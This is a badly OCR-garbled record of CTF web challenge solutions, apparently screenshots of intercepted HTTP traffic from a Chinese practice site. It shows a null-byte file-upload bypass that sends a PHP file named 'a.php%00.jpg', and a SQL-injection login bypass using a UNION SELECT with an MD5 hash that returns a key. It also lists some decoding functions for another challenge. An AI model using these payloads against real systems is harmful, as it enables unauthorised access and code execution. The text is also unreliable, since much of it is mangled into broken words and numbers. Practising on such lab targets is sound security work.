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POST swebsuploads/upload. php HTTP/1.1 |‘ HTTP/1.1 Z00 0K "
Host: ctfb.shivanbar. com Date: Thu, IZZ Dec Z01lé 03:08:E5& GHMT -
User-Agent: Mozillas5.0 (Windows NT 10.0; WOWE4; rv:50.0) Gecko/20100101 Server: Apache/Z.4.18 (Win3I) Open33LS1.0.Z e PHF/5.2.17
Firefoxs50.0 ¥-Powered-By: PHP/5.2.17
Accept: textshtml, application/xhtmltxml , application/xml;q=0_9,*/*;q=0.8 Content-Length: 239
Accept-Language: sh-CH,zh;g=0.8,en-US;g=0.5,en;q=0.3 Connection: close
Accept-Encoding: gsip, deflate Content-Type: text/html
Referer: http://ctfs.shivanbar. com/web/upload/
Cockie: sample-hash=571l580LIEcE5E305376d4£E4e53chieT; source=0 <html=<headr<meta charset="utf-8" /=< /head><hody>
¥-Forwarded-For: 8.8.8.8 Tpload: a.php®001l jpg<br />Type: text/html<hr />S5ize:
Comnnection: close _LI_'t‘Lf"E'z[fFr:’g Tq‘-?% 0.1855346875 Fb<bhr />5tored im:
Upgrade-Insecure-Becuests: 1 - ’ - . fuploads/$a%e5f6aTlalsdach php <bhr>000000000php0000000 <k =<,/
Content-Type: multipart/form-data; hody>
houndary TOSSZEQ@EZ5420 </html>
Content-Length: 551
Aaploads/a.php
filename="a. php:00L. jpa"
Content-Type: text/html
=?php
Flink = wysqgl connect('hostname', 'dbuser', 'dbpassword');
if ¢'slinky |
die('Could not comnnect to MySQL: ' mysgl_errorill; "
|
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Request Response
Raw | Params | Heade Raw | Headers | Hex | HTML T Render ]
L ta; boundary=— 7 HTTP/1l.1 200 OK &
a2 - Date: Thu, IZ Dec 2016 03:09:5&8 GMT P
Server: Apache/Z.4.18 (Win3I) OpenSSLs/1.0.Ze PHP/E.Z_17
= = = o = = = = S i L3 ¥-Powered-By: PHE/E.Z2.17
24 TR 1 .. Bf 029420Content- Content-Length: 239
25 e e e e 20 Length: 581- Connection: close
2% 2d Content-Type: text/html
27 2d 7058 <html*<head><meta charset="utf-8" /*></head><hody>
28 e e e e e 34 o e e e .. BF 2606029420Cont Upload: a php®001_jpg<br />Type: testfhtml<br />Size:
29 Bf ent-Disposition: 0.185546%75 Fb<hr />Stored imn:
. fuploadsf8a%e5f6aTlaTlidach. <k >00000000 0000000 <l =</
2a v o Bf form-data; name e phe et
Lody>
2b 6f =izl ~ </htul>
2c o 2 ds/a.php —
2d
2e ———— 70582606
2f 029420Content-
30 e e e .o BF L T4 e e e .. BF Dizposition: for
JiAE F
3 20/{"“3?32%@‘[?‘3'00 m-data; name="fi
32 O U : 1+ le”; filename="a
33 R | .php%001.jpg™C
34 &8f .. .. .. .. .. .. 54 ontent-Type: tex
35 Lo2F L e Da T | thtml=?php
36 OO | 5f Slink = mmysqgl_ -
v
37 i e .. BF connectChostnam _I v
LS s 0 matches
Done 443 bytes | 43 milis
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;PDST Sweb/upload/upload. php HTTP/L1. 1 A

Host: ctfb. shivanbar. com

User—Agent: Mozillas5.0 (Windows NT 10.0; WOWE4; rw:50.0) Gecko/20100101
Firefox/50.0

Accept: text/html, application/xhtmltxnl, application/wml; gq=0.5, */*;q=0.8
Accept-Language: sh-CN,zh;gq=0.8,en-US;gq=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Leferer: http://ctffl.shivanbar. con/web/upload/

Cookie: sample-hash=571580LI6cEbf3063T76d4f64e53chinT; source=0
¥-Forwarded-For: 8.8.8.8

Comnection: close

Upgrade-Insecure-Fequests: 1

Content-Type: multipart/form-data;

s

boundary=--—---------—————————— = 70582606025420 .
Content-Lengeh: 592 EHAERL L ELES, HEELZ00
L 0582606029420

Content-Disposition: —data; name="dir"

Auploads/a. phpd

———————— TOLREZE0E0ZS4Z0
=. T form-data; name="file"; filename="a.php300Ll.jpg"
Content-Type: text/html

=7php
Flink = mysqgl_comnect ( 'hostname', 'dbuser’, 'dbpassword');
if (!'flink) |
diei'Could not connect to MyEQL: ' . mysql errori)); -
1

? J l = J l + Jl > J Type & search term 0 matches

2.NSCTF web200

NSCTF web200 43iE: 20

iR : 2015NSCTFESE HE- E5 A5 4883 A

Get Flag : 6324

HTITP/1.1 Z00 0K

Date: Thu, IZIZ Dec Z01& 03:12:17 GHMT

Server: Apache/2.4.18 (Win3Z) Open33L/1.0.2e PHP/L.Z2.17
¥-Powered-By: PHP/5.Z2.17

Content-Length: I37

Connection: close

Content-Type: text/html

<html><heads><meta charset="utf-8" =</ /head><body>

Upload: a php®001_jpg<br />Type: text/html<br />Size:
0_135546875 ¥b<br />Stored imn:
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str_rotl13(: );

strrev(® );

base64 decode(? );

= strlen(? ) -
[$_e];
ord( )

chr( );

EFREFERE oE: 20

=E - MEE £5 05 : 44534 Get Flag : 784 EERALT - 833 FEEEITER - 94
gt
FESESEEE ¢ hitp://ctfS.shiyanbar.com/web/S/index.php Eid
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POST fweb/5/index php HTTP/L.1 s HTTF/1.1 200 OK
Host: ctfb. shiyvanbar.com - Date: Thu, IZZ Dec Z0l& 02:27:232 GHMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:50.0) Server: Apache/2.4_.18 (Win3I) OpenfS5L/l.0.Ze PHP/E.Z.17
Gecko/Z0100101 Firefox/50.0 ¥-Powered-Ey: PHD/E.Z_17
Acoept: Content-Length: 252
text/htnl, application/xhtnl+txnl, application/xml;g=0.9,*/*;gq=0.8 Connection: close
Accept-Language: sh-CN,sh;q=0.8,en-US;q=0.5, en;q=0_3 Content-Type: text/html
Accept-Encoding: gzip, deflate
Referer: http://ctfh. shivanbar. com/web/5/index _php <htm]l>
Cookie: sample-hash=571580LIEcEsf3083T76d4£64eb3chbe7; source=0 <heads>
¥-Forwarded-For: 8.8.8.8 welcomse to simplexue
Comnnection: close </heads
Upgrade-Insecure-Requests: 1  <hody=
Content-Type: application/z-www-form-urlencoded “prLogged in! Key: SMTF“ <fpr<form method=post
Cond = T B action=index. phps>
<input type=text name=user wvalue="Username":>
use ''union select 'c4cad4l38a0b5I3820docs505a8£75845h" —-- &dpass=1 <input type=password name=pass wvalue="Password"=
. 1 <input type=submit>
0 </ forms
‘ </hodys>
. e, o “a href="index_ txt">
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